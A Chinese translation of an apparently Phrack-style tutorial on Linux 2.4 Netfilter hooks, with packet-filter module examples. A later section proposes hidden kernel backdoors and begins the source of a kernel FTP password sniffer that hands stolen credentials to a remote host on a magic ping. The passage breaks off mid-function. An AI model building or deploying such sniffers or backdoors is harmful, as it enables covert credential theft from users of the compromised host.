深入Linux網路核心堆疊(轉)

ba發表於2007-08-12
深入Linux網路核心堆疊(轉)[@more@]目錄

1 - 簡介
1.1 - 本文涉及的內容
1.2 - 本文不涉及的內容
2 - 各種Netfilter hook及其用法
2.1 - Linux核心對資料包的處理
2.2 - Netfilter對IPv4的hook
3 - 註冊和登出Netfilter hook
4 - Netfilter 基本的資料包過濾技術[1]
4.1 - 深入hook函式
4.2 - 基於介面進行過濾
4.3 - 基於地址進行過濾
4.4 - 基於TCP埠進行過濾
5 - Netfilter hook的其它可能用法
5.1 - 隱藏後門的守護程式
5.2 - 基於核心的FTP密碼嗅探器
5.2.1 - 原始碼 : nfsniff.c
5.2.2 - 原始碼 : getpass.c
6 - 在Libpcap中隱藏網路通訊
6.1 - SOCK_PACKET、SOCK_RAW與Libpcap
6.2 - 給狼披上羊皮
7 - 結束語
A - 輕量級防火牆
A.1 - 概述
A.2 - 原始碼 : lwfw.c
A.3 - 標頭檔案 : lwfw.h
B - 第6節中的原始碼

--[ 1 - 簡介

本文將向你展示,Linux的網路堆疊的一些怪異行為(並不一定是弱點)如何被用於邪惡的或者是其它形形色色的目的。在這裡將要討論的是將表面上看起來合法的Netfilter hook用於後門的通訊,以及一種使特定的網路通訊在執行於本機的基於Libpcap的嗅探器中消聲匿跡的技術。
Netfilter是Linux 2.4核心的一個子系統,Netfiler使得諸如資料包過濾、網路地址轉換(NAT)以及網路連線跟蹤等技巧成為可能,這些功能僅透過使用核心網路程式碼提供的各式各樣的hook既可以完成。這些hook位於核心程式碼中,要麼是靜態連結的,要麼是以動態載入的模組的形式存在。可以為指定的網路事件註冊相應的回撥函式,資料包的接收就是這樣一個例子。


----[ 1.1 - 本文涉及的內容

本文討論模組編寫者如何利用Netfilter hook來實現任意目的以及如何將將網路通訊在基於Libpcap的應用程式中隱藏。雖然Linux 2.4支援對IPv4、IPv6以及DECnet的hook,但在本文中將只討論關於IPv4的話題,雖然如此,大部分關於IPv4的內容都同樣可以運用於其它幾種協議。出於教學的目的,附錄A提供了一個可用的、提供基本的包過濾的核心模組。本文中所有的開發和試驗都在執行於Intel主機上的Linux 2.4.5中完成。對Netfilter hook功能的測試在環回介面、乙太網介面以及調變解調器點對點介面上完成。

本文也是出於我對Netfilter完全理解的嘗試的興趣而寫的。我並不能保證文中附帶的任何程式碼100%的沒有錯誤,但是我已經測試了所有在這裡提供的程式碼。我已經受夠了核心錯誤的折磨,因此真誠的希望你不會再如此。同樣,我不會為任何按照本文所述進行的操作中可能發生的損害承擔責任。本文假定讀者熟悉C語言程式設計並且有一定的關於可載入模組的經驗。

歡迎對本文中出現的錯誤進行批評指正,我同時開誠佈公的接受對本文的改進以及其它各種關於Netfilter的優秀技巧的建議。


---- [ 1.2 - 本文不涉及的內容

本文不是一個完全的關於Netfilter的細節上的參考資料,同樣,也不是一個關於iptables的命令的參考資料。如果你想了解更多的關於iptables的命令,請參考相關的手冊頁。

好了,讓我們從Netfilter的使用介紹開始 ...


--[ 2 - 各種Netfilter hook及其用法
----[ 2.1 - Linux核心對資料包的處理

看起來好像是我很喜歡深入到諸如Linux的資料包處理以及事件的發生以及跟蹤每一個Netfilter hook這樣的血淋淋的細節中,事實並非如此!原因很簡單,Harald Welte已經寫了一篇關於這個話題的優秀的文章——《Journey of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的關於Linux資料包處理的內容,我強烈推薦你去拜讀這篇文章。現在,僅需要理解:當資料包遊歷Linux核心的網路堆疊時,它穿過了幾個hook點,在這裡,資料包可以被分析並且選擇是保留還是丟棄,這些hook點就是Netfilter hook。


----[ 2.2 - Netfilter對IPv4的hook

Netfilter中定義了五個關於IPv4的hook,對這些符號的宣告可以在linux/netfilter_ipv4.h中找到。這些hook列在下面的表中:

表1 : 可用的IPv4 hook

Hook 呼叫的時機
NF_IP_PRE_ROUTING 在完整性校驗之後,選路確定之前
NF_IP_LOCAL_IN 在選路確定之後,且資料包的目的是本地主機
NF_IP_FORWARD 目的地是其它主機地資料包
NF_IP_LOCAL_OUT 來自本機程式的資料包在其離開本地主機的過程中
NF_IP_POST_ROUTING 在資料包離開本地主機“上線”之前

NF_IP_PRE_ROUTING這個hook是資料包被接收到之後呼叫的第一個hook,這個hook既是稍後將要描述的模組所用到的。當然,其它的hook同樣非常有用,但是在這裡,我們的焦點是在NF_IP_PRE_ROUTING這個hook上。

在hook函式完成了對資料包所需的任何的操作之後,它們必須返回下列預定義的Netfilter返回值中的一個:

表2 : Netfilter返回值

返回值 含義
NF_DROP 丟棄該資料包
NF_ACCEPT 保留該資料包
NF_STOLEN 忘掉該資料包
NF_QUEUE 將該資料包插入到使用者空間
NF_REPEAT 再次呼叫該hook函式

NF_DROP這個返回值的含義是該資料包將被完全的丟棄,所有為它分配的資源都應當被釋放。NF_ACCEPT這個返回值告訴Netfilter:到目前為止,該資料包還是被接受的並且該資料包應當被遞交到網路堆疊的下一個階段。NF_STOLEN是一個有趣的返回值,因為它告訴Netfilter,“忘掉”這個資料包。這裡告訴Netfilter的是:該hook函式將從此開始對資料包的處理,並且Netfilter應當放棄對該資料包做任何的處理。但是,這並不意味著該資料包的資源已經被釋放。這個資料包以及它獨自的sk_buff資料結構仍然有效,只是hook函式從Netfilter獲取了該資料包的所有權。不幸的是,我還不是完全的清楚NF_QUEUE到底是如果工作的,因此在這裡我不討論它。最後一個返回值NF_REPEAT請求Netfilter再次呼叫這個hook函式。顯然,使用者應當謹慎使用NF_REPEAT這個返回值,以免造成死迴圈。

--[3 - 註冊和登出Netfilter hook

註冊一個hook函式是圍繞nf_hook_ops資料結構的一個非常簡單的操作,nf_hook_ops資料結構在linux/netfilter.h中定義,該資料結構的定義如下:

struct nf_hook_ops {
struct list_head list;

/* 此下的值由使用者填充 */
nf_hookfn *hook;
int pf;
int hooknum;
/* Hook以升序的優先順序排序 */
int priority;
};

該資料結構中的list成員用於維護Netfilter hook的列表,並且不是使用者在註冊hook時需要關心的重點。hook成員是一個指向nf_hookfn型別的函式的指標,該函式是這個hook被呼叫時執行的函式。nf_hookfn同樣在linux/netfilter.h中定義。pf這個成員用於指定協議族。有效的協議族在linux/socket.h中列出,但對於IPv4我們希望使用協議族PF_INET。hooknum這個成員用於指定安裝的這個函式對應的具體的hook型別,其值為表1中列出的值之一。最後,priority這個成員用於指定在執行的順序中,這個hook函式應當在被放在什麼地方。對於IPv4,可用的值在linux/netfilter_ipv4.h的nf_ip_hook_priorities列舉中定義。出於示範的目的,在後面的模組中我們將使用NF_IP_PRI_FIRST。

註冊一個Netfilter hook需要呼叫nf_register_hook()函式,以及用到一個nf_hook_ops資料結構。nf_register_hook()函式以一個nf_hook_ops資料結構的地址作為引數並且返回一個整型的值。但是,如果你真正的看了在net/core/netfilter.c中的nf_register_hook()函式的實現程式碼,你會發現該函式總是返回0。以下提供的是一個示例程式碼,該示例程式碼簡單的註冊了一個丟棄所有到達的資料包的函式。該程式碼同時展示了Netfilter的返回值如何被解析。

示例程式碼1 : Netfilter hook的註冊
/*
* 安裝一個丟棄所有到達的資料包的Netfilter hook函式的示例程式碼
*/

#define __KERNEL__
#define MODULE

#include
#include
#include
#include

/* 用於註冊我們的函式的資料結構 */
static struct nf_hook_ops nfho;

/* 註冊的hook函式的實現 */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return NF_DROP; /* 丟棄所有的資料包 */
}

/* 初始化程式 */
int init_module()
{
/* 填充我們的hook資料結構 */
nfho.hook = hook_func; /* 處理函式 */
nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函式首先執行 */

nf_register_hook(&nfho);

return 0;
}

/* 清除程式 */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}

這就是全部內容,從示例程式碼1中,你可以看到,登出一個Netfilter hook是一件很簡單事情,只需要呼叫nf_unregister_hook()函式,並且以你之前用於註冊這個hook時用到的相同的資料結構的地址作為引數。


-- [4 - Netfilter 基本的資料包過濾技術
---- [4.1 - 深入hook函式

現在是到了看看什麼資料被傳遞到hook函式中以及這些資料如何被用於做過濾選擇的時候了。那麼,讓我們更深入的看看nf_hookfn函式的原型吧。這個函式原型在linux/netfilter.h中給出,如下:

typedef unsigned int nf_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *));

nf_hookfn函式的第一個引數用於指定表1中給出的hook型別中的一個。第二個引數更加有趣,它是一個指向指標的指標,該指標指向的指標指向一個sk_buff資料結構,網路堆疊用sk_buff資料結構來描述資料包。這個資料結構在linux/skbuff.h中定義,由於它的內容太多,在這裡我將僅列出其中有意義的部分。

sk_buff資料結構中最有用的部分可能就是那三個描述傳輸層包頭(例如:UDP, TCP, ICMP, SPX)、網路層包頭(例如:IPv4/6, IPX, RAW)以及鏈路層包頭(例如:乙太網或者RAW)的聯合(union)了。這三個聯合的名字分別是h、nh以及mac。這些聯合包含了幾個結構,依賴於具體的資料包中使用的協議。使用者應當注意:傳輸層包頭和網路層包頭可能是指向記憶體中的同一個位置。這是TCP資料包可能出現的情況,其中h和nh都應當被看作是指向IP頭結構的指標。這意味著嘗試透過h->th獲取一個值,並認為該指標指向一個TCP頭,將會得到錯誤的結果。因為h->th實際上是指向的IP頭,與nh->iph得到的結果相同。

接下來讓我們感興趣的其它部分是len和data這兩個域。len指定了從data開始的資料包中的資料的總長度。好了,現在我們知道如何在sk_buff資料結構中分別訪問協議頭和資料包中的資料了。Netfilter hook函式中有用的資訊中其它的有趣的部分是什麼呢?

緊跟在skb之後的兩個引數是指向net_device資料結構的指標,net_device資料結構被Linux核心用於描述所有型別的網路介面。這兩個引數中的第一個——in,用於描述資料包到達的介面,毫無疑問,引數out用於描述資料包離開的介面。必須明白,在通常情況下,這兩個引數中將只有一個被提供。例如:引數in只用於NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,引數out只用於NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在這一個階段中,我還沒有測試對於NF_IP_FORWARD hook,這兩個引數中哪些是有效的,但是如果你能在使用之前先確定這些指標是非空的,那麼你是非常優秀的!

最後,傳遞給hook函式的最後一個引數是一個命名為okfn函式指標,該函式以一個sk_buff資料結構作為它唯一的引數,並且返回一個整型的值。我不是很確定這個函式是幹什麼用的,在net/core/netfilter.c中檢視,有兩個地方呼叫了這個okfn函式。這兩個地方是分別在函式nf_hook_slow()中以及函式nf_reinject()中,在其中的某個位置,當Netfilter hook的返回值為NF_ACCEPT時被呼叫。如果任何人有更多的關於okfn函式的資訊,請務必告知。

** 譯註:Linux核心網路堆疊中有一個全域性變數 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],該變數是一個二維陣列,其中第一維用於指定協議族,第二維用於指定hook的型別(表1中定義的型別)。註冊一個Netfilter hook實際就是在由協議族和hook型別確定的連結串列中新增一個新的節點。

以下程式碼摘自 net/core/netfilter,nf_register_hook()函式的實現:
int nf_register_hook(struct nf_hook_ops *reg)
{
struct list_head *i;

br_write_lock_bh(BR_NETPROTO_LOCK);
for (i = nf_hooks[reg->pf][reg->hooknum].next;
i != &nf_hooks[reg->pf][reg->hooknum];
i = i->next) {
if (reg->priority < ((struct nf_hook_ops *)i)->priority)
break;
}
list_add(?>list, i->prev);
br_write_unlock_bh(BR_NETPROTO_LOCK);
return 0;
}

Netfilter中定義了一個宏NF_HOOK,作者在前面提到的nf_hook_slow()函式實際上就是NF_HOOK宏定義替換的物件,在NF_HOOK中執行註冊的hook函式。NF_HOOK在Linux核心網路堆疊的適當的地方以適當的引數呼叫。例如,在ip_rcv()函式(位於net/ipv4/ip_input.c)的最後部分,呼叫NF_HOOK函式,執行NF_IP_PRE_ROUTING型別的hook。ip_rcv()是Linux核心網路堆疊中用於接收IPv4資料包的主要函式。在NF_HOOK的引數中,頁包含一個okfn函式指標,該函式是用於資料包被接收後完成後續的操作,例如在ip_rcv中呼叫的NF_HOOK中的okfn函式指標指向ip_rcv_finish()函式(位於net/ipv4/ip_input.c),該函式用於IP資料包被接收後的諸如IP選項處理等後續處理。

如果在核心編譯引數中取消CONFIG_NETFILTER宏定義,NF_HOOK宏定義直接被替換為okfn,核心程式碼中的相關部分如下(linux/netfilter.h):

#ifdef CONFIG_NETFILTER
...
#ifdef CONFIG_NETFILTER_DEBUG
#define NF_HOOK nf_hook_slow
#else
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn)
(list_empty(&nf_hooks[(pf)][(hook)])
? (okfn)(skb)
: nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn)))
#endif
...
#else /* !CONFIG_NETFILTER */
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)
#endif /*CONFIG_NETFILTER*/

可見okfn函式是必不可少的,當Netfilter被啟用時,它用於完成接收的資料包後的後續操作,如果不啟用Netfilter做資料包過濾,則所有的資料包都被接受,直接呼叫該函式做後續操作。

** 譯註完

現在,我們已經瞭解了我們的hook函式接收到的資訊中最有趣和最有用的部分,是該看看我們如何以各種各樣的方式來利用這些資訊來過濾資料包的時候了!


----[4.2 - 基於介面進行過濾

這應該是我們能做的最簡單的過濾技術了。還記得我們的hook函式接收的引數中的那些net_device資料結構嗎?使用相應的net_device資料結構的name這個成員,你就可以根據資料包的源介面和目的介面來選擇是否丟棄它。如果想丟棄所有到達介面eth0的資料包,所有你需要做的僅僅是將in->name的值與"eth0"做比較,如果名字匹配,那麼hook函式簡單的返回NF_DROP即可,資料包會被自動銷燬。就是這麼簡單!完成該功能的示例程式碼見如下的示例程式碼2。注意,Light-Weight FireWall模組將會提供所有的本文提到的過濾方法的簡單示例。它還包含了一個IOCTL介面以及用於動態改變其特性的應用程式。

示例程式碼2 : 基於源介面的資料包過濾
/*
* 安裝一個丟棄所有進入我們指定介面的資料包的Netfilter hook函式的示例程式碼
*/

#define __KERNEL__
#define MODULE
#include
#include
#include
#include
#include
/* 用於註冊我們的函式的資料結構 */
static struct nf_hook_ops nfho;

/* 我們丟棄的資料包來自的介面的名字 */
static char *drop_if = "lo";

/* 註冊的hook函式的實現 */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
if (strcmp(in->name, drop_if) == 0) {
printk("Dropped packet on %s...n", drop_if);
return NF_DROP;
} else {
return NF_ACCEPT;
}
}

/* 初始化程式 */
int init_module()
{
/* 填充我們的hook資料結構 */
nfho.hook = hook_func; /* 處理函式 */
nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函式首先執行 */

nf_register_hook(&nfho);

return 0;
}

/* 清除程式 */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}

是不是很簡單?接下來,讓我們看看基於IP地址的過濾。


----[ 4.3 - 基於地址進行過濾

與根據資料包的介面進行過濾類似,基於資料包的源或目的IP地址進行過濾同樣簡單。這次我們感興趣的是sk_buff資料結構。還記得skb引數是一個指向sk_buff資料結構的指標的指標嗎?為了避免犯錯誤,宣告一個另外的指向skb_buff資料結構的指標並且將skb指標指向的指標賦值給這個新的指標是一個好習慣,就像這樣:

struct sk_buff *sb = *skb; /* Remove 1 level of indirection* /

這樣,你訪問這個資料結構的元素時只需要反引用一次就可以了。獲取一個資料包的IP頭透過使用sk_buff資料結構中的網路層包頭來完成。這個頭位於一個聯合中,可以透過sk_buff->nh.iph這樣的方式來訪問。示例程式碼3中的函式演示了當得到一個資料包的sk_buff資料結構時,如何利用它來檢查收到的資料包的源IP地址與被禁止的地址是否相同。這些程式碼是直接從LWFW中取出來的,唯一不同的是LWFW統計的更新被移除。

示例程式碼3 : 檢查收到的資料包的源IP

unsigned char *deny_ip = "x7fx00x00x01"; /* 127.0.0.1 */

...

static int check_ip_packet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to
* the IP header. */
if (!skb )return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {
return NF_DROP;
}

return NF_ACCEPT;
}

這樣,如果資料包的源地址與我們設定的丟棄資料包的地址匹配,那麼該資料包將被丟棄。為了使這個函式能按預期的方式工作,deny_ip的值應當以網路位元組序(Big-endian,與Intel相反)存放。雖然這個函式不太可能以一個空的指標作為引數來呼叫,帶一點點偏執狂從來不會有什麼壞處。當然,如果錯誤確實發生了,那麼該函式將會返回NF_ACCEPT。這樣Netfilter可以繼續處理這個資料包。示例程式碼4展現了用於演示將基於介面的過濾略做修改以丟棄匹配給定IP地址的資料包的簡單模組。

示例程式碼4 : 基於資料包源地址的過濾
/* 安裝丟棄所有來自指定IP地址的資料包的Netfilter hook的示例程式碼 */

#define __KERNEL__
#define MODULE

#include
#include
#include
#include /* For IP header */
#include
#include

/* 用於註冊我們的函式的資料結構 */
static struct nf_hook_ops nfho;

/* 我們要丟棄的資料包來自的地址,網路位元組序 */
static unsigned char *drop_ip = "x7fx00x00x01";

/* 註冊的hook函式的實現 */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;

// 譯註:作者提供的程式碼中比較地址是否相同的方法是錯誤的,見註釋掉的部分
if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) {
// if (sb->nh.iph->saddr == drop_ip) {
printk("Dropped packet from... %d.%d.%d.%dn",
*drop_ip, *(drop_ip + 1),
*(drop_ip + 2), *(drop_ip + 3));
return NF_DROP;
} else {
return NF_ACCEPT;
}
}

/* 初始化程式 */
int init_module()
{
/* 填充我們的hook資料結構 */
nfho.hook = hook_func; /* 處理函式 */
nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函式首先執行 */

nf_register_hook(&nfho);

return 0;
}

/* 清除程式 */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}


----[ 4.4 - 基於TCP埠進行過濾

另一個要實現的簡單規則是基於資料包的TCP目的埠進行過濾。這隻比檢查IP地址的要求要高一點點,因為我們需要自己建立一個TCP頭的指標。還記得我們前面討論的關於傳輸層包頭與網路層包頭的內容嗎?獲取一個TCP頭的指標是一件簡單的事情——分配一個tcphdr資料結構(在linux/tcp.h中定義)的指標,並將它指向我們的資料包中IP頭之後的資料。或許一個例子的幫助會更大一些,示例程式碼5給出了檢查資料包的TCP目的埠是否與某個我們要丟棄資料包的埠匹配的程式碼。與示例程式碼3一樣,這些程式碼摘自LWFW。

示例程式碼5 : 檢查收到的資料包的TCP目的埠
unsigned char *deny_port = "x00x19"; /* port 25 */

...

static int check_tcp_packet(struct sk_buff *skb)
{
struct tcphdr *thead;

/* We don't want any NULL pointers in the chain
* to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

/* Be sure this is a TCP packet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}

thead = (struct tcphdr *)(skb->data +
(skb->nh.iph->ihl * 4));

/* Now check the destination port */
if ((thead->dest) == *(unsigned short *)deny_port) {
return NF_DROP;
}

return NF_ACCEPT;
}

確實很簡單!不要忘了,要讓這個函式工作,deny_port必須是網路位元組序。這就是資料包過濾的基礎了,你應當已經清楚的理解了對於一個特定的資料包,如何獲取你想要的資訊。現在,是該進入更有趣的內容的時候了!


--[ 5 - Netfilter hook的其它可能用法

在這裡,我將提出其它很酷的利用Netfilter hook的點子,5.1節將簡單的給出精神食糧,而5.2節將討論和給出可以工作的基於核心的FTP密碼嗅探器的程式碼,它的遠端密碼獲取功能是確實可用的。事實上,它工作的令我吃驚的好,並且我編寫了它。

----[ 5.1 - 隱藏後門的守護程式

核心模組程式設計也許是Linux開發中最有趣的部分之一了,在核心中編寫程式碼意味著你在一個僅受限於你的想象力的地方寫程式碼。以惡意的觀點來看,你可以隱藏檔案、程式,並且做各式各樣很酷的,任何的rootkit能夠做的事情。那麼,以不太惡意的觀點來看(是的,持這中觀點人們的確存在),你可以隱藏檔案、程式以及幹各式各樣的事情。核心真是一個迷人的樂園!

有了賦予核心級程式設計師的強大力量,很多事情成為可能。其中最有趣的(也是讓系統管理員恐慌的)一個就是嵌入到核心中的後門。畢竟,如果後門不作為一個程式執行,那麼我們怎麼知道它的執行?當然,還是有辦法讓你的核心揪出這樣的後門來,但是它們可不像執行ps命令一樣容易和簡單。現今,將後門程式碼放到核心中去的點子已經並不新鮮了。但是,我在這裡所提出的是安放一個用作核心後門的簡單的網路服務。你猜對了,正是Netfilter hook!

如果你已經具備必要的技能並且情願以做試驗的名義使你的核心崩潰,那麼你就可以構建簡單但是有用的,完全位於核心中的,可以遠端訪問的網路服務了。基本上一個Netfilter hook可以透過觀察收到的資料包來查詢一個“魔法”資料包,並且當接收到這個“魔法”資料包時幹指定的事情。結果可以透過Netfilter hook來傳送。並且該hook函式可以返回NF_STOLEN,以使得收到的“魔法”資料包可以走得更遠。但是要注意,當以這種方式來傳送時,輸出資料包對於輸出Netfilter hook仍然是可見的。因此使用者空間完全不知道這個“魔法”資料包的曾經到達,但是它們還是能看到你送所出的。當心!因為在洩密主機上的嗅探器不能看到這個包並不意味著在其它中間宿主主機上的嗅探器也看不到這個包。

kossak與lifeline曾為Phrack寫了一篇精彩的文章,該文描述瞭如何透過註冊資料包型別處理器來完成這樣的功能。雖然本文涉及的是Netfilter hook,我仍然建議閱讀他們的這篇文章(第55期,檔案12),因為它是一篇給出了一些非常有趣的點子的有趣讀物。

那麼,後門Netfilter hook可以幹些什麼工作呢?以下是一些建議:
-- 遠端訪問擊鍵記錄器(key-logger)。模組記錄擊鍵,並且當遠端主機傳送一個PING請求時,結果被送到該主機。這樣,可以生成一個類似於穩定的(非洪水的)PING應答流的擊鍵資訊的流。當然,你可能想要實現一個簡單的加密,這樣,ASCII鍵不會立即暴露它們自己,並且某些警覺的系統管理員會想:“堅持,我以前都是透過我的SSH會話來鍵入那些的!Oh $%@T%&!”。
-- 各種簡單的管理員任務,例如獲取當前登入到主機的使用者的列表或責獲取開啟的網路連線的資訊。
-- 並非一個真正的後門,而是位於網路邊界的模組,並且阻擋任何被疑為來自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的檔案共享工具的通訊。
-- 檔案傳輸“伺服器”。我最近已經實現了這個主意,由此引起的Linux核心程式設計是數小時的樂趣:)
-- 資料包跳躍。重定向目的為木馬主機指定埠的資料包到其它的IP主機和埠,並且從那臺主機發回資料包到發起者。沒有程式被派生,並且最妙的是,沒有網路套接字被開啟。
-- 上面描述的資料包跳躍用於與網路中的關鍵系統以半隱蔽方式通訊。例如:配置路由器等。
-- FTP/POP3/Telnet密碼嗅探器。嗅探輸出的密碼並儲存相關資訊,直到進入的“魔法”資料包要求獲取它們。

以上只是一些想法的簡短的列表,其中最後一個想法是我們在接下來的一節中將要真正詳細討論的。它
提供了一個很好的瞭解更多的深藏於核心網路程式碼中的函式的機會。

----[ 5.2 - 基於核心的FTP密碼嗅探器

在這裡展現的是一個簡單的,原理性的,用做Netfilter後門的模組。該模組嗅探輸出的FTP資料包,查詢對於一個FTP伺服器一個USER於PASS命令對。當這樣一個命令對被發現後,該模組接下來將等待一個“魔法”ICMP ECHO(ping)資料包,該資料包應當足夠大,使其能返回伺服器的IP地址、使用者名稱以及密碼。同時提供了一個快速的傳送一個“魔法”資料包,獲取返回然後列印返回資訊的技巧。一旦使用者名稱/密碼對從模組讀取後,模組將接著查詢下一對。注意,模組每次只儲存一個對。以上是簡要的瀏覽,是該展示更多的細節,來看模組如何做到這些的時候了。

當模組載入時,模組的init_module()函式簡單的註冊了兩個Netfilter hook。第一個用於檢視輸入的資料包(在NF_IP_PRE_ROUTING處),嘗試發現“魔法”ICMP資料包。接下來的一個用於檢視離開該模組被安裝的主機的資料包(在NF_IP_POST_ROUTING處),這個函式正是搜尋和捕獲FTP的USER和PASS資料包的地方。cleanup_module()函式只是簡單的登出這兩個hook。

watch_out()是用於hook NF_IP_POST_ROUTING的函式,檢視這個函式你可以看到,它的執行的操作非常簡單。當一個資料包進入這個函式過後,將經過各種檢查,以確定它是一個FTP資料包。如果它不是一個FTP資料包,那麼立即返回NF_ACCEPT。如果它是一個FTP資料包,那麼該模組進行檢查是否已經存在一個使用者名稱/密碼對。如果存在(以have_pair的非零值標識),那麼返回NF_ACCEPT,該資料包最終能夠離開該系統。否則,check_ftp()函式被呼叫,這是密碼提取實際發生的地方。如果沒有先前的資料包已經被接收,那麼target_ip和target_port變數應當被清除。

check_ftp()開始於從資料包的開始查詢"USER","PASS"或"QUIT"。注意直到USER命令處理之後才處理PASS命令。這樣做的目的是為了防止在某些情況下PASS命令先於USER命令被接收到以及在USER到達之前連線中斷而導致的死鎖的發生。同樣,如果QUIT命令到達時僅有使用者名稱被捕獲,那麼將重置操作,開始嗅探一個新的連線。當一個USER或者PASS命令到達時,如果必要完整性校驗透過,則記錄下命令的引數。正常執行下,在check_ftp()函式完成之前,檢查是否已經有了一個有效的使用者名稱和密碼串。如果是,則設定have_pair的值為非零並且在當前的使用者名稱/密碼對被獲取之前不會再抓取其它的使用者名稱或密碼。

到目前為止你已經看到了該模組如何安裝它自己以及如何開始搜尋待記錄的使用者名稱和密碼。接下來你將看到當指定的“魔法”資料包到達時會發生什麼。在此需特別注意,因為這是在整個開發過程中出現的最大難題。如果我沒記錯的話,共遭遇了16個核心錯誤:)。當資料包進安裝該模組的主機時,watch_in()檢查每一個資料包以檢視其是否是一個“魔法”資料包。如果資料包不能提供足以證明它是一個“魔法”資料包的資訊,那麼它將被被watch_in()忽略,簡單的返回一個NF_ACCEPT。注意“魔法”資料包的標準之一是它們必須有足夠的空間來存放IP地址以及使用者名稱和密碼串。這使得傳送應答更加容易。當然,可以重新分配一個新的sk_buff,但是正確的獲取所有必要的域得值可能會比較困難,並且你還必須得正確的獲取它們!因此,與其為我們的應答資料包建立一個新的資料結構,不如簡單的調整請求資料包的資料結構。為了成功的返回資料包,需要做幾個改動。首先,交換IP地址,並且sk_buff資料結構中描述資料包型別的域(pkt_type)應當被換成PACKET_OUTGOING,這些宏在linux/if_packet.h中定義。接下來應當小心的是確定包含了任意的鏈路層頭。我們接收到的資料包的sk_buff資料結構的資料域指向鏈路層頭之後,並且它是指向被髮送的資料包的資料的開始的資料域。那麼對於需要鏈路層包頭(乙太網及環回和點對點的raw)的介面,我們將資料域指向mac.ethernet或者mac.raw結構。為確定這個資料包來自的什麼型別的介面你可以檢視sb->dev->type的值,其中sb是一個指向sk_buff資料結構的指標。這個域的有效值可以在linux/if_arp.h中找到,但其中最有用的幾個在下面的表3中列出。

表3 : 介面型別的常用值

型別程式碼 介面型別
ARPHRD_ETHER 乙太網
ARPHRD_LOOPBACK 環回裝置
ARPHRD_PPP 點對點(例如撥號)

最後,我們要做的是真正的複製我們想在的應答中送出的資料。到送出資料包的時候了,dev_queue_xmit()函式以一個指向sk_buff資料結構的指標作為它唯一的引數,在“好的錯誤”情況下,返回一個負的錯誤程式碼。我所說的“好的錯誤”是什麼意思呢?如果你給函式dev_queue_xmit()一個錯誤構造的套接字緩衝,那麼你就會得到一個伴隨著核心錯誤和核心堆疊的dump資訊的“不太好的錯誤”。看看在這裡錯誤如何能被分成兩組?最後,watch_in()返回NF_STOLEN,以告訴Netfilter忘掉它曾經見到過這個資料包。如果你已經呼叫了dev_queue_xmit(),不要返回NF_DROP!這是因為dev_queue_xmit()將釋放傳遞進來的套接字緩衝,而Netfilter會嘗試對被NF_DROP的資料包做同樣的操作。好了。對於程式碼的討論已經足夠了,請看具體的程式碼。


------[ 5.2.1 - 原始碼 : nfsniff.c

nfsniff/nfsniff.c
/* Simple proof-of-concept for kernel-based FTP password sniffer.
* A captured Username and Password pair are sent to a remote host
* when that host sends a specially formatted ICMP packet. Here we
* shall use an ICMP_ECHO packet whose code field is set to 0x5B
* *AND* the packet has enough
* space after the headers to fit a 4-byte IP address and the
* username and password fields which are a max. of 15 characters
* each plus a NULL byte. So a total ICMP payload size of 36 bytes. */

/* Written by bioforge, March 2003 */

#define MODULE
#define __KERNEL__

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define MAGIC_CODE 0x5B
#define REPLY_SIZE 36

#define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len)
- sizeof(struct iphdr)
- sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0; /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops pre_hook; /* Incoming */
struct nf_hook_ops post_hook; /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
struct tcphdr *tcp;
char *data;
int len = 0;
int i = 0;

tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
data = (char *)((int)tcp + (int)(tcp->doff * 4));

/* Now, if we have a username already, then we have a target_ip.
* Make sure that this packet is destined for the same host. */
if (username)
if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
return;

/* Now try to see if this is a USER or PASS packet */
if (strncmp(data, "USER ", 5) == 0) { /* Username */
